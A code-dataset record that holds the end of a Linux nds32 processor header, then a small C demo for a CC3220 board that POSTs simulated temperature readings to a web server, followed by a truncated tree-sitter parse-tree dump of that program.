PSW_DE | PSW_SYSTEM | PSW_INTL_1);\t\\\n\tregs->ipc = pc;\t\t\t\t\t\\\n\tregs->sp = stack;\t\t\t\t\\\n})\n\n/* Forward declaration, a strange C thing */\nstruct task_struct;\n\n/* Free all resources held by a thread. */\n#define release_thread(thread) do { } while(0)\n#if IS_ENABLED(CONFIG_FPU)\n#if !IS_ENABLED(CONFIG_UNLAZU_FPU)\nextern struct task_struct *last_task_used_math;\n#endif\n#endif\n\n/* Prepare to copy thread state - unlazy all lazy status */\n#define prepare_to_copy(tsk)\tdo { } while (0)\n\nunsigned long get_wchan(struct task_struct *p);\n\n#define cpu_relax()\t\t\tbarrier()\n\n#define task_pt_regs(task) \\\n\t((struct pt_regs *) (task_stack_page(task) + THREAD_SIZE \\\n\t\t- 8) - 1)\n\n/*\n * Create a new kernel thread\n */\nextern int kernel_thread(int (*fn) (void *), void *arg, unsigned long flags);\n\n#define KSTK_EIP(tsk)\tinstruction_pointer(task_pt_regs(tsk))\n#define KSTK_ESP(tsk)\tuser_stack_pointer(task_pt_regs(tsk))\n\n#endif\n\n#endif /* __ASM_NDS32_PROCESSOR_H */\n"}
81,175
c
#ifdef CONFIG_HAS_CC3220SDK #include <kernel.h> #include <misc/printk.h> #include <ti/drivers/net/wifi/simplelink.h> #include <ti/drivers/net/wifi/bsd/sys/socket.h> #include <ti/drivers/net/wifi/bsd/netinet/in.h> #include <ti/drivers/net/wifi/bsd/arpa/inet.h> #define printf printk #define UART_PRINT printk #define perror(str) printk("perror %s+%d: %s", __FILE__, __LINE__, str) #define sleep(s) k_sleep((s) * 1000) #else // CONFIG_HAS_CC3220SDK #include <arpa/inet.h> #include <netdb.h> #include <netinet/in.h> #include <sys/socket.h> #include <unistd.h> #include <math.h> #include <stdio.h> #include <string.h> #endif // CONFIG_HAS_CC3220SDK #define HOST "emdroid.org" #define PORT 8080 const char* CRLF = "\r\n"; const char* HTTP_EOH = "\r\n\r\n"; // End of Header const char* CONTENT_LENGTH = "Content-Length:"; char RESPONSE[4096]; char REQUEST[4096]; uint32_t resolve_host_addr(const char *host) { uint32_t dest = 0; #ifdef CONFIG_HAS_CC3220SDK sl_NetAppDnsGetHostByName((_i8 *)host, strlen(host), (_u32 *)&dest, SL_AF_INET); dest = sl_Htonl(dest); #else // CONFIG_HAS_CC3220SDK struct hostent *he; he = gethostbyname(host); if (he && he->h_addr_list && he->h_addr_list[0]) { dest = ((struct in_addr *)(he->h_addr_list[0]))->s_addr; } #endif // CONFIG_HAS_CC3220SDK return dest; } void hexdump(void* ptr, int size) { int i; const char* c = (char*) ptr; for (i = 0; i < size; i++) { printf("%02X%s", c[i], (i+1) % 8 == 0 ? "\n" : " "); } } #ifdef CONFIG_HAS_CC3220SDK void wlan_init(void); #else // CONFIG_HAS_CC3220SDK void wlan_init(void) {} #endif // CONFIG_HAS_CC3220SDK int connect_to_server(const char* name, uint16_t port) { int ret, host; struct sockaddr_in server_addr; int fd = socket(AF_INET, SOCK_STREAM, 0); if (fd < 0) { perror("socket"); } host = resolve_host_addr(name); memset(&server_addr, 0, sizeof(server_addr)); server_addr.sin_family = AF_INET; server_addr.sin_port = htons(port); server_addr.sin_addr.s_addr = host; ret = connect(fd, (const struct sockaddr*)&server_addr, sizeof(server_addr)); if (ret < 0) { perror("connect"); } return fd; } int send_request(int sock, const char* request, int reqlen) { int ret = 0; printf("send request %d...\n", reqlen); ret = send(sock, request, reqlen, 0); if (ret < 0) { perror("send"); } printf("%d bytes sent\n", ret); return ret; } int recv_response(int sock, char* buffer, int buflen) { char *p; int EOH, CL; int ret, count, content_length; CL = EOH = 0; count = 0; content_length = 0; while ((ret = recv(sock, &buffer[count], buflen - count, 0)) > 0) { printf("received %d bytes...\n", ret); //hexdump(&buffer[count], ret); count += ret; if ((p = strstr(buffer, HTTP_EOH)) != NULL) { EOH = p - buffer; printf("EOH at %d\n", EOH); } if ((p = strstr(buffer, CONTENT_LENGTH)) != NULL) { CL = p - buffer; content_length = atoi(p + strlen(CONTENT_LENGTH)); printf("CL at %d, value: %d\n", CL, content_length); } if (CL && count - EOH - strlen(HTTP_EOH) >= content_length) { break; } } if (ret < 0) { perror("recv"); } buffer[count] = '\0'; return count; } int prepare_request(char* buffer, int buflen, const char* host, int port, const char* path, int temp) { char line[128]; sprintf(buffer, "POST %s HTTP/1.1\r\n", path); sprintf(line, "Host: %s:%d\r\n", host, port); strcat(buffer, line); strcat(buffer, "User-Agent: CC3220\r\n" "Accept: */*\r\n" "Content-Type: application/x-www-form-urlencoded\r\n"); sprintf(line, "Content-Length: %d\r\n", sprintf(line, "temp=%d", temp)); strcat(buffer, line); strcat(buffer, "\r\n"); sprintf(line, "temp=%d", temp); strcat(buffer, line); return strlen(buffer); } int main(int argc, char *argv[]) { int sock; wlan_init(); printf("connect to server...\n"); sock = connect_to_server(HOST, PORT); for (int i = 0; i < 10; i++) { int reqlen, temperature; temperature = 15 + i; // 20 + 5*sin(M_PI*2/10*i); reqlen = prepare_request(REQUEST, sizeof(REQUEST), HOST, PORT, "/temp", temperature); printf("send request...\n"); send_request(sock, REQUEST, reqlen); printf("recv response...\n"); recv_response(sock, RESPONSE, sizeof(RESPONSE)); printf("RESPONSE: %s\n", RESPONSE); sleep(1); } close(sock); printf("done\n"); return 0; }
26.8
157
(translation_unit) "#ifdef CONFIG_HAS_CC3220SDK\n#include <kernel.h>\n#include <misc/printk.h>\n#include <ti/drivers/net/wifi/simplelink.h>\n#include <ti/drivers/net/wifi/bsd/sys/socket.h>\n#include <ti/drivers/net/wifi/bsd/netinet/in.h>\n#include <ti/drivers/net/wifi/bsd/arpa/inet.h>\n#define printf printk\n#define UART_PRINT printk\n#define perror(str) printk("perror %s+%d: %s", __FILE__, __LINE__, str)\n#define sleep(s) k_sleep((s) * 1000)\n#else // CONFIG_HAS_CC3220SDK\n\n#include <arpa/inet.h>\n#include <netdb.h>\n#include <netinet/in.h>\n#include <sys/socket.h>\n#include <unistd.h>\n\n#include <math.h>\n#include <stdio.h>\n#include <string.h>\n\n#endif // CONFIG_HAS_CC3220SDK\n\n#define HOST "emdroid.org"\n#define PORT 8080\n\nconst char* CRLF = "\r\n";\nconst char* HTTP_EOH = "\r\n\r\n"; // End of Header\nconst char* CONTENT_LENGTH = "Content-Length:";\nchar RESPONSE[4096];\nchar REQUEST[4096];\n\nuint32_t resolve_host_addr(const char *host)\n{\n uint32_t dest = 0;\n#ifdef CONFIG_HAS_CC3220SDK\n sl_NetAppDnsGetHostByName((_i8 *)host, strlen(host), (_u32 *)&dest,\n SL_AF_INET);\n dest = sl_Htonl(dest);\n#else // CONFIG_HAS_CC3220SDK\n struct hostent *he;\n\n he = gethostbyname(host);\n if (he && he->h_addr_list && he->h_addr_list[0]) {\n dest = ((struct in_addr *)(he->h_addr_list[0]))->s_addr;\n }\n#endif // CONFIG_HAS_CC3220SDK\n return dest;\n}\n\n\nvoid hexdump(void* ptr, int size) {\n int i;\n const char* c = (char*) ptr;\n for (i = 0; i < size; i++) {\n printf("%02X%s", c[i], (i+1) % 8 == 0 ? "\n" : " ");\n }\n}\n\n\n#ifdef CONFIG_HAS_CC3220SDK\nvoid wlan_init(void);\n#else // CONFIG_HAS_CC3220SDK\nvoid wlan_init(void) {}\n#endif // CONFIG_HAS_CC3220SDK\n\nint connect_to_server(const char* name, uint16_t port)\n{\n int ret, host;\n struct sockaddr_in server_addr;\n\n int fd = socket(AF_INET, SOCK_STREAM, 0);\n if (fd < 0) {\n perror("socket");\n }\n\n host = resolve_host_addr(name);\n\n memset(&server_addr, 0, sizeof(server_addr));\n server_addr.sin_family = AF_INET;\n server_addr.sin_port = htons(port);\n server_addr.sin_addr.s_addr = host;\n\n ret = connect(fd, (const struct sockaddr*)&server_addr,\n sizeof(server_addr));\n if (ret < 0) {\n perror("connect");\n }\n return fd;\n}\n\nint send_request(int sock, const char* request, int reqlen)\n{\n int ret = 0;\n printf("send request %d...\n", reqlen);\n ret = send(sock, request, reqlen, 0);\n if (ret < 0) {\n perror("send");\n }\n printf("%d bytes sent\n", ret);\n return ret;\n}\n\nint recv_response(int sock, char* buffer, int buflen)\n{\n char *p;\n int EOH, CL;\n int ret, count, content_length;\n\n CL = EOH = 0;\n count = 0;\n content_length = 0;\n while ((ret = recv(sock, &buffer[count], buflen - count, 0)) > 0) {\n printf("received %d bytes...\n", ret);\n //hexdump(&buffer[count], ret);\n count += ret;\n if ((p = strstr(buffer, HTTP_EOH)) != NULL) {\n EOH = p - buffer;\n printf("EOH at %d\n", EOH);\n }\n if ((p = strstr(buffer, CONTENT_LENGTH)) != NULL) {\n CL = p - buffer;\n content_length = atoi(p + strlen(CONTENT_LENGTH));\n printf("CL at %d, value: %d\n", CL, content_length);\n }\n if (CL && count - EOH - strlen(HTTP_EOH) >= content_length) {\n break;\n }\n }\n if (ret < 0) {\n perror("recv");\n }\n buffer[count] = '\0';\n return count;\n}\n\nint prepare_request(char* buffer, int buflen, const char* host, int port, const char* path, int temp)\n{\n char line[128];\n\n sprintf(buffer, "POST %s HTTP/1.1\r\n", path);\n sprintf(line, "Host: %s:%d\r\n", host, port);\n strcat(buffer, line);\n strcat(buffer, "User-Agent: CC3220\r\n"\n "Accept: */*\r\n"\n "Content-Type: application/x-www-form-urlencoded\r\n");\n sprintf(line, "Content-Length: %d\r\n", sprintf(line, "temp=%d", temp));\n strcat(buffer, line);\n strcat(buffer, "\r\n");\n sprintf(line, "temp=%d", temp);\n strcat(buffer, line);\n\n return strlen(buffer);\n}\n\nint main(int argc, char *argv[])\n{\n int sock;\n\n wlan_init();\n\n printf("connect to server...\n");\n sock = connect_to_server(HOST, PORT);\n\n for (int i = 0; i < 10; i++) {\n int reqlen, temperature;\n\n temperature = 15 + i; // 20 + 5*sin(M_PI*2/10*i);\n\n reqlen = prepare_request(REQUEST, sizeof(REQUEST), HOST, PORT, "/temp", temperature);\n\n printf("send request...\n");\n send_request(sock, REQUEST, reqlen);\n\n printf("recv response...\n");\n recv_response(sock, RESPONSE, sizeof(RESPONSE));\n printf("RESPONSE: %s\n", RESPONSE);\n\n sleep(1);\n }\n\n close(sock);\n\n printf("done\n");\n\n return 0;\n}\n\n\n" (preproc_ifdef) "#ifdef CONFIG_HAS_CC3220SDK\n#include <kernel.h>\n#include <misc/printk.h>\n#include <ti/drivers/net/wifi/simplelink.h>\n#include <ti/drivers/net/wifi/bsd/sys/socket.h>\n#include <ti/drivers/net/wifi/bsd/netinet/in.h>\n#include <ti/drivers/net/wifi/bsd/arpa/inet.h>\n#define printf printk\n#define UART_PRINT printk\n#define perror(str) printk("perror %s+%d: %s", __FILE__, __LINE__, str)\n#define sleep(s) k_sleep((s) * 1000)\n#else // CONFIG_HAS_CC3220SDK\n\n#include <arpa/inet.h>\n#include <netdb.h>\n#include <netinet/in.h>\n#include <sys/socket.h>\n#include <unistd.h>\n\n#include <math.h>\n#include <stdio.h>\n#include <string.h>\n\n#endif" (#ifdef) "#ifdef" (identifier) "CONFIG_HAS_CC3220SDK" (preproc_include) "#include <kernel.h>\n" (#include) "#include" (system_lib_string) "<kernel.h>" (preproc_include) "#include <misc/printk.h>\n" (#include) "#include" (system_lib_string) "<misc/printk.h>" (preproc_include) "#include <ti/drivers/net/wifi/simplelink.h>\n" (#include) "#include" (system_lib_string) "<ti/drivers/net/wifi/simplelink.h>" (preproc_include) "#include <ti/drivers/net/wifi/bsd/sys/socket.h>\n" (#include) "#include" (system_lib_string) "<ti/drivers/net/wifi/bsd/sys/socket.h>" (preproc_include) "#include <ti/drivers/net/wifi/bsd/netinet/in.h>\n" (#include) "#include" (system_lib_string) "<ti/drivers/net/wifi/bsd/netinet/in.h>" (preproc_include) "#include <ti/drivers/net/wifi/bsd/arpa/inet.h>\n" (#include) "#include" (system_lib_string) "<ti/drivers/net/wifi/bsd/arpa/inet.h>" (preproc_def) "#define printf printk\n" (#define) "#define" (identifier) "printf" (preproc_arg) "printk" (preproc_def) "#define UART_PRINT printk\n" (#define) "#define" (identifier) "UART_PRINT" (preproc_arg) "printk" (preproc_function_def) "#define perror(str) printk("perror %s+%d: %s", __FILE__, __LINE__, str)\n" (#define) "#define" (identifier) "perror" (preproc_params) "(str)" (() "(" (identifier) "str" ()) ")" (preproc_arg) "printk("perror %s+%d: %s", __FILE__, __LINE__, str)" (preproc_function_def) "#define sleep(s) k_sleep((s) * 1000)\n" (#define) "#define" (identifier) "sleep" (preproc_params) "(s)" (() "(" (identifier) "s" ()) ")" (preproc_arg) "k_sleep((s) * 1000)" (preproc_else) "#else // CONFIG_HAS_CC3220SDK\n\n#include <arpa/inet.h>\n#include <netdb.h>\n#include <netinet/in.h>\n#include <sys/socket.h>\n#include <unistd.h>\n\n#include <math.h>\n#include <stdio.h>\n#include <string.h>\n" (#else) "#else" (comment) "// CONFIG_HAS_CC3220SDK" (preproc_include) "#include <arpa/inet.h>\n" (#include) "#include" (system_lib_string) "<arpa/inet.h>" (preproc_include) "#include <netdb.h>\n" (#include) "#include" (system_lib_string) "<netdb.h>" (preproc_include) "#include <netinet/in.h>\n" (#include) "#include" (system_lib_string) "<netinet/in.h>" (preproc_include) "#include <sys/socket.h>\n" (#include) "#include" (system_lib_string) "<sys/socket.h>" (preproc_include) "#include <unistd.h>\n" (#include) "#include" (system_lib_string) "<unistd.h>" (preproc_include) "#include <math.h>\n" (#include) "#include" (system_lib_string) "<math.h>" (preproc_include) "#include <stdio.h>\n" (#include) "#include" (system_lib_string) "<stdio.h>" (preproc_include) "#include <string.h>\n" (#include) "#include" (system_lib_string) "<string.h>" (#endif) "#endif" (comment) "// CONFIG_HAS_CC3220SDK" (preproc_def) "#define HOST "emdroid.org"\n" (#define) "#define" (identifier) "HOST" (preproc_arg) ""emdroid.org"" (preproc_def) "#define PORT 8080\n" (#define) "#define" (identifier) "PORT" (preproc_arg) "8080" (declaration) "const char* CRLF = "\r\n";" (type_qualifier) "const" (const) "const" (primitive_type) "char" (init_declarator) "* CRLF = "\r\n"" (pointer_declarator) "* CRLF" (*) "*" (identifier) "CRLF" (=) "=" (string_literal) ""\r\n"" (") """ (escape_sequence) "\r" (escape_sequence) "\n" (") """ (;) ";" (declaration) "const char* HTTP_EOH = "\r\n\r\n";" (type_qualifier) "const" (const) "const" (primitive_type) "char" (init_declarator) "* HTTP_EOH = "\r\n\r\n"" (pointer_declarator) "* HTTP_EOH" (*) "*" (identifier) "HTTP_EOH" (=) "=" (string_literal) ""\r\n\r\n"" (") """ (escape_sequence) "\r" (escape_sequence) "\n" (escape_sequence) "\r" (escape_sequence) "\n" (") """ (;) ";" (comment) "// End of Header" (declaration) "const char* CONTENT_LENGTH = "Content-Length:";" (type_qualifier) "const" (const) "const" (primitive_type) "char" (init_declarator) "* CONTENT_LENGTH = "Content-Length:"" (pointer_declarator) "* CONTENT_LENGTH" (*) "*" (identifier) "CONTENT_LENGTH" (=) "=" (string_literal) ""Content-Length:"" (") """ (string_content) "Content-Length:" (") """ (;) ";" (declaration) "char RESPONSE[4096];" (primitive_type) "char" (array_declarator) "RESPONSE[4096]" (identifier) "RESPONSE" ([) "[" (number_literal) "4096" (]) "]" (;) ";" (declaration) "char REQUEST[4096];" (primitive_type) "char" (array_declarator) "REQUEST[4096]" (identifier) "REQUEST" ([) "[" (number_literal) "4096" (]) "]" (;) ";" (function_definition) "uint32_t resolve_host_addr(const char *host)\n{\n uint32_t dest = 0;\n#ifdef CONFIG_HAS_CC3220SDK\n sl_NetAppDnsGetHostByName((_i8 *)host, strlen(host), (_u32 *)&dest,\n SL_AF_INET);\n dest = sl_Htonl(dest);\n#else // CONFIG_HAS_CC3220SDK\n struct hostent *he;\n\n he = gethostbyname(host);\n if (he && he->h_addr_list && he->h_addr_list[0]) {\n dest = ((struct in_addr *)(he->h_addr_list[0]))->s_addr;\n }\n#endif // CONFIG_HAS_CC3220SDK\n return dest;\n}" (primitive_type) "uint32_t" (function_declarator) "resolve_host_addr(const char *host)" (identifier) "resolve_host_addr" (parameter_list) "(const char *host)" (() "(" (parameter_declaration) "const char *host" (type_qualifier) "const" (const) "const" (primitive_type) "char" (pointer_declarator) "*host" (*) "*" (identifier) "host" ()) ")" (compound_statement) "{\n uint32_t dest = 0;\n#ifdef CONFIG_HAS_CC3220SDK\n sl_NetAppDnsGetHostByName((_i8 *)host, strlen(host), (_u32 *)&dest,\n SL_AF_INET);\n dest = sl_Htonl(dest);\n#else // CONFIG_HAS_CC3220SDK\n struct hostent *he;\n\n he = gethostbyname(host);\n if (he && he->h_addr_list && he->h_addr_list[0]) {\n dest = ((struct in_addr *)(he->h_addr_list[0]))->s_addr;\n }\n#endif // CONFIG_HAS_CC3220SDK\n return dest;\n}" ({) "{" (declaration) "uint32_t dest = 0;" (primitive_type) "uint32_t" (init_declarator) "dest = 0" (identifier) "dest" (=) "=" (number_literal) "0" (;) ";" (preproc_ifdef) "#ifdef CONFIG_HAS_CC3220SDK\n sl_NetAppDnsGetHostByName((_i8 *)host, strlen(host), (_u32 *)&dest,\n SL_AF_INET);\n dest = sl_Htonl(dest);\n#else // CONFIG_HAS_CC3220SDK\n struct hostent *he;\n\n he = gethostbyname(host);\n if (he && he->h_addr_list && he->h_addr_list[0]) {\n dest = ((struct in_addr *)(he->h_addr_list[0]))->s_addr;\n }\n#endif" (#ifdef) "#ifdef" (identifier) "CONFIG_HAS_CC3220SDK" (expression_statement) "sl_NetAppDnsGetHostByName((_i8 *)host, strlen(host), (_u32 *)&dest,\n SL_AF_INET);" (call_expression) "sl_NetAppDnsGetHostByName((_i8 *)host, strlen(host), (_u32 *)&dest,\n SL_AF_INET)" (identifier) "sl_NetAppDnsGetHostByName" (argument_list) "((_i8 *)host, strlen(host), (_u32 *)&dest,\n SL_AF_INET)" (() "(" (cast_expression) "(_i8 *)host" (() "(" (type_descriptor) "_i8 *" (type_identifier) "_i8" (abstract_pointer_declarator) "*" (*) "*" ()) ")" (identifier) "host" (,) "," (call_expression) "strlen(host)" (identifier) "strlen" (argument_list) "(host)" (() "(" (identifier) "host" ()) ")" (,) "," (cast_expression) "(_u32 *)&dest" (() "(" (type_descriptor) "_u32 *" (type_identifier) "_u32" (abstract_pointer_declarator) "*" (*) "*" ()) ")" (pointer_expression) "&dest" (&) "&" (identifier) "dest" (,) "," (identifier) "SL_AF_INET" ()) ")" (;) ";" (expression_statement) "dest = sl_Htonl(dest);" (assignment_expression) "dest = sl_Htonl(dest)" (identifier) "dest" (=) "=" (call_expression) "sl_Htonl(dest)" (identifier) "sl_Htonl" (argument_list) "(dest)" (() "(" (identifier) "dest" ()) ")" (;) ";" (preproc_else) "#else // CONFIG_HAS_CC3220SDK\n struct hostent *he;\n\n he = gethostbyname(host);\n if (he && he->h_addr_list && he->h_addr_list[0]) {\n dest = ((struct in_addr *)(he->h_addr_list[0]))->s_addr;\n }" (#else) "#else" (comment) "// CONFIG_HAS_CC3220SDK" (declaration) "struct hostent *he;" (struct_specifier) "struct hostent" (struct) "struct" (type_identifier) "hostent" (pointer_declarator) "*he" (*) "*" (identifier) "he" (;) ";" (expression_statement) "he = gethostbyname(host);" (assignment_expression) "he = gethostbyname(host)" (identifier) "he" (=) "=" (call_expression) "gethostbyname(host)" (identifier) "gethostbyname" (argument_list) "(host)" (() "(" (identifier) "host" ()) ")" (;) ";" (if_statement) "if (he && he->h_addr_list && he->h_addr_list[0]) {\n dest = ((struct in_addr *)(he->h_addr_list[0]))->s_addr;\n }" (if) "if" (parenthesized_expression) "(he && he->h_addr_list && he->h_addr_list[0])" (() "(" (binary_expression) "he && he->h_addr_list && he->h_addr_list[0]" (binary_expression) "he && he->h_addr_list" (identifier) "he" (&&) "&&" (field_expression) "he->h_addr_list" (identifier) "he" (->) "->" (field_identifier) "h_addr_list" (&&) "&&" (subscript_expression) "he->h_addr_list[0]" (field_expression) "he->h_addr_list" (identifier) "he" (->) "->" (field_identifier) "h_addr_list" ([) "[" (number_literal) "0" (]) "]" ()) ")" (compound_statement) "{\n dest = ((struct in_addr *)(he->h_addr_list[0]))->s_addr;\n }" ({) "{" (expression_statement) "dest = ((struct in_addr *)(he->h_addr_list[0]))->s_addr;" (assignment_expression) "dest = ((struct in_addr *)(he->h_addr_list[0]))->s_addr" (identifier) "dest" (=) "=" (field_expression) "((struct in_addr *)(he->h_addr_list[0]))->s_addr" (parenthesized_expression) "((struct in_addr *)(he->h_addr_list[0]))" (() "(" (cast_expression) "(struct in_addr *)(he->h_addr_list[0])" (() "(" (type_descriptor) "struct in_addr *" (struct_specifier) "struct in_addr" (struct) "struct" (type_identifier) "in_addr" (abstract_pointer_declarator) "*" (*) "*" ()) ")" (parenthesized_expression) "(he->h_addr_list[0])" (() "(" (subscript_expression) "he->h_addr_list[0]" (field_expression) "he->h_addr_list" (identifier) "he" (->) "->" (field_identifier) "h_addr_list" ([) "[" (number_literal) "0" (]) "]" ()) ")" ()) ")" (->) "->" (field_identifier) "s_addr" (;) ";" (}) "}" (#endif) "#endif" (comment) "// CONFIG_HAS_CC3220SDK" (return_statement) "return dest;" (return) "return" (identifier) "dest" (;) ";" (}) "}" (function_definition) "void hexdump(void* ptr, int size) {\n int i;\n const char* c = (char*) ptr;\n for (i = 0; i < size; i++) {\n printf("%02X%s", c[i], (i+1) % 8 == 0 ? "\n" : " ");\n }\n}" (primitive_type) "void" (function_declarator) "hexdump(void* ptr, int size)" (identifier) "hexdump" (parameter_list) "(void* ptr, int size)" (() "(" (parameter_declaration) "void* ptr" (primitive_type) "void" (pointer_declarator) "* ptr" (*) "*" (identifier) "ptr" (,) "," (parameter_declaration) "int size" (primitive_type) "int" (identifier) "size" ()) ")" (compound_statement) "{\n int i;\n const char* c = (char*) ptr;\n for (i = 0; i < size; i++) {\n printf("%02X%s", c[i], (i+1) % 8 == 0 ? "\n" : " ");\n }\n}" ({) "{" (declaration) "int i;" (primitive_type) "int" (identifier) "i" (;) ";" (declaration) "const char* c = (char*) ptr;" (type_qualifier) "const" (const) "const" (primitive_type) "char" (init_declarator) "* c = (char*) ptr" (pointer_declarator) "* c" (*) "*" (identifier) "c" (=) "=" (cast_expression) "(char*) ptr" (() "(" (type_descriptor) "char*" (primitive_type) "char" (abstract_pointer_declarator) "*" (*) "*" ()) ")" (identifier) "ptr" (;) ";" (for_statement) "for (i = 0; i < size; i++) {\n printf("%02X%s", c[i], (i+1) % 8 == 0 ? "\n" : " ");\n }" (for) "for" (() "(" (assignment_expression) "i = 0" (identifier) "i" (=) "=" (number_literal) "0" (;) ";" (binary_expression) "i < size" (identifier) "i" (<) "<" (identifier) "size" (;) ";" (update_expression) "i++" (identifier) "i" (++) "++" ()) ")" (compound_statement) "{\n printf("%02X%s", c[i], (i+1) % 8 == 0 ? "\n" : " ");\n }" ({) "{" (expression_statement) "printf("%02X%s", c[i], (i+1) % 8 == 0 ? "\n" : " ");" (call_expression) "printf("%02X%s", c[i], (i+1) % 8 == 0 ? "\n" : " ")" (identifier) "printf" (argument_list) "("%02X%s", c[i], (i+1) % 8 == 0 ? "\n" : " ")" (() "(" (string_literal) ""%02X%s"" (") """ (string_content) "%02X%s" (") """ (,) "," (subscript_expression) "c[i]" (identifier) "c" ([) "[" (identifier) "i" (]) "]" (,) "," (conditional_expression) "(i+1) % 8 == 0 ? "\n" : " "" (binary_expression) "(i+1) % 8 == 0" (binary_expression) "(i+1) % 8" (parenthesized_expression) "(i+1)" (() "(" (binary_expression) "i+1" (identifier) "i" (+) "+" (number_literal) "1" ()) ")" (%) "%" (number_literal) "8" (==) "==" (number_literal) "0" (?) "?" (string_literal) ""\n"" (") """ (escape_sequence) "\n" (") """ (:) ":" (string_literal) "" "" (") """ (string_content) " " (") """ ()) ")" (;) ";" (}) "}" (}) "}" (preproc_ifdef) "#ifdef CONFIG_HAS_CC3220SDK\nvoid wlan_init(void);\n#else // CONFIG_HAS_CC3220SDK\nvoid wlan_init(void) {}\n#endif" (#ifdef) "#ifdef" (identifier) "CONFIG_HAS_CC3220SDK" (declaration) "void wlan_init(void);" (primitive_type) "void" (function_declarator) "wlan_init(void)" (identifier) "wlan_init" (parameter_list) "(void)" (() "(" (parameter_declaration) "void" (primitive_type) "void" ()) ")" (;) ";" (preproc_else) "#else // CONFIG_HAS_CC3220SDK\nvoid wlan_init(void) {}" (#else) "#else" (comment) "// CONFIG_HAS_CC3220SDK" (function_definition) "void wlan_init(void) {}" (primitive_type) "void" (function_declarator) "wlan_init(void)" (identifier) "wlan_init" (parameter_list) "(void)" (() "(" (parameter_declaration) "void" (primitive_type) "void" ()) ")" (compound_statement) "{}" ({) "{" (}) "}" (#endif) "#endif" (comment) "// CONFIG_HAS_CC3220SDK" (function_definition) "int connect_to_server(const char* name, uint16_t port)\n{\n int ret, host;\n struct sockaddr_in server_addr;\n\n int fd = socket(AF_INET, SOCK_STREAM, 0);\n if (fd < 0) {\n perror("socket");\n }\n\n host = resolve_host_addr(name);\n\n memset(&server_addr, 0, sizeof(server_addr));\n server_addr.sin_family = AF_INET;\n server_addr.sin_port = htons(port);\n server_addr.sin_addr.s_addr = host;\n\n ret = connect(fd, (const struct sockaddr*)&server_addr,\n sizeof(server_addr));\n if (ret < 0) {\n perror("connect");\n }\n return fd;\n}" (primitive_type) "int" (function_declarator) "connect_to_server(const char* name, uint16_t port)" (identifier) "connect_to_server" (parameter_list) "(const char* name, uint16_t port)" (() "(" (parameter_declaration) "const char* name" (type_qualifier) "const" (const) "const" (primitive_type) "char" (pointer_declarator) "* name" (*) "*" (identifier) "name" (,) "," (parameter_declaration) "uint16_t port" (primitive_type) "uint16_t" (identifier) "port" ()) ")" (compound_statement) "{\n int ret, host;\n struct sockaddr_in server_addr;\n\n int fd = socket(AF_INET, SOCK_STREAM, 0);\n if (fd < 0) {\n perror("socket");\n }\n\n host = resolve_host_addr(name);\n\n memset(&server_addr, 0, sizeof(server_addr));\n server_addr.sin_family = AF_INET;\n server_addr.sin_port = htons(port);\n server_addr.sin_addr.s_addr = host;\n\n ret = connect(fd, (const struct sockaddr*)&server_addr,\n sizeof(server_addr));\n if (ret < 0) {\n perror("connect");\n }\n return fd;\n}" ({) "{" (declaration) "int ret, host;" (primitive_type) "int" (identifier) "ret" (,) "," (identifier) "host" (;) ";" (declaration) "struct sockaddr_in server_addr;" (struct_specifier) "struct sockaddr_in" (struct) "struct" (type_identifier) "sockaddr_in" (identifier) "server_addr" (;) ";" (declaration) "int fd = socket(AF_INET, SOCK_STREAM, 0);" (primitive_type) "int" (init_declarator) "fd = socket(AF_INET, SOCK_STREAM, 0)" (identifier) "fd" (=) "=" (call_expression) "socket(AF_INET, SOCK_STREAM, 0)" (identifier) "socket" (argument_list) "(AF_INET, SOCK_STREAM, 0)" (() "(" (identifier) "AF_INET" (,) "," (identifier) "SOCK_STREAM" (,) "," (number_literal) "0" ()) ")" (;) ";" (if_statement) "if (fd < 0) {\n perror("socket");\n }" (if) "if" (parenthesized_expression) "(fd < 0)" (() "(" (binary_expression) "fd < 0" (identifier) "fd" (<) "<" (number_literal) "0" ()) ")" (compound_statement) "{\n perror("socket");\n }" ({) "{" (expression_statement) "perror("socket");" (call_expression) "perror("socket")" (identifier) "perror" (argument_list) "("socket")" (() "(" (string_literal) ""socket"" (") """ (string_content) "socket" (") """ ()) ")" (;) ";" (}) "}" (expression_statement) "host = resolve_host_addr(name);" (assignment_expression) "host = resolve_host_addr(name)" (identifier) "host" (=) "=" (call_expression) "resolve_host_addr(name)" (identifier) "resolve_host_addr" (argument_list) "(name)" (() "(" (identifier) "name" ()) ")" (;) ";" (expression_statement) "memset(&server_addr, 0, sizeof(server_addr));" (call_expression) "memset(&server_addr, 0, sizeof(server_addr))" (identifier) "memset" (argument_list) "(&server_addr, 0, sizeof(server_addr))" (() "(" (pointer_expression) "&server_addr" (&) "&" (identifier) "server_addr" (,) "," (number_literal) "0" (,) "," (sizeof_expression) "sizeof(server_addr)" (sizeof) "sizeof" (parenthesized_expression) "(server_addr)" (() "(" (identifier) "server_addr" ()) ")" ()) ")" (;) ";" (expression_statement) "server_addr.sin_family = AF_INET;" (assignment_expression) "server_addr.sin_family = AF_INET" (field_expression) "server_addr.sin_family" (identifier) "server_addr" (.) "." (field_identifier) "sin_family" (=) "=" (identifier) "AF_INET" (;) ";" (expression_statement) "server_addr.sin_port = htons(port);" (assignment_expression) "server_addr.sin_port = htons(port)" (field_expression) "server_addr.sin_port" (identifier) "server_addr" (.) "." (field_identifier) "sin_port" (=) "=" (call_expression) "htons(port)" (identifier) "htons" (argument_list) "(port)" (() "(" (identifier) "port" ()) ")" (;) ";" (expression_statement) "server_addr.sin_addr.s_addr = host;" (assignment_expression) "server_addr.sin_addr.s_addr = host" (field_expression) "server_addr.sin_addr.s_addr" (field_expression) "server_addr.sin_addr" (identifier) "server_addr" (.) "." (field_identifier) "sin_addr" (.) "." (field_identifier) "s_addr" (=) "=" (identifier) "host" (;) ";" (expression_statement) "ret = connect(fd, (const struct sockaddr*)&server_addr,\n sizeof(server_addr));" (assignment_expression) "ret = connect(fd, (const struct sockaddr*)&server_addr,\n sizeof(server_addr))" (identifier) "ret" (=) "=" (call_expression) "connect(fd, (const struct sockaddr*)&server_addr,\n sizeof(server_addr))" (identifier) "connect" (argument_list) "(fd, (const struct sockaddr*)&server_addr,\n sizeof(server_addr))" (() "(" (identifier) "fd" (,) "," (cast_expression) "(const struct sockaddr*)&server_addr" (() "(" (type_descriptor) "const struct sockaddr*" (type_qualifier) "const" (const) "const" (struct_specifier) "struct sockaddr" (struct) "struct" (type_identifier) "sockaddr" (abstract_pointer_declarator) "*" (*) "*" ()) ")" (pointer_expression) "&server_addr" (&) "&" (identifier) "server_addr" (,) "," (sizeof_expression) "sizeof(server_addr)" (sizeof) "sizeof" (parenthesized_expression) 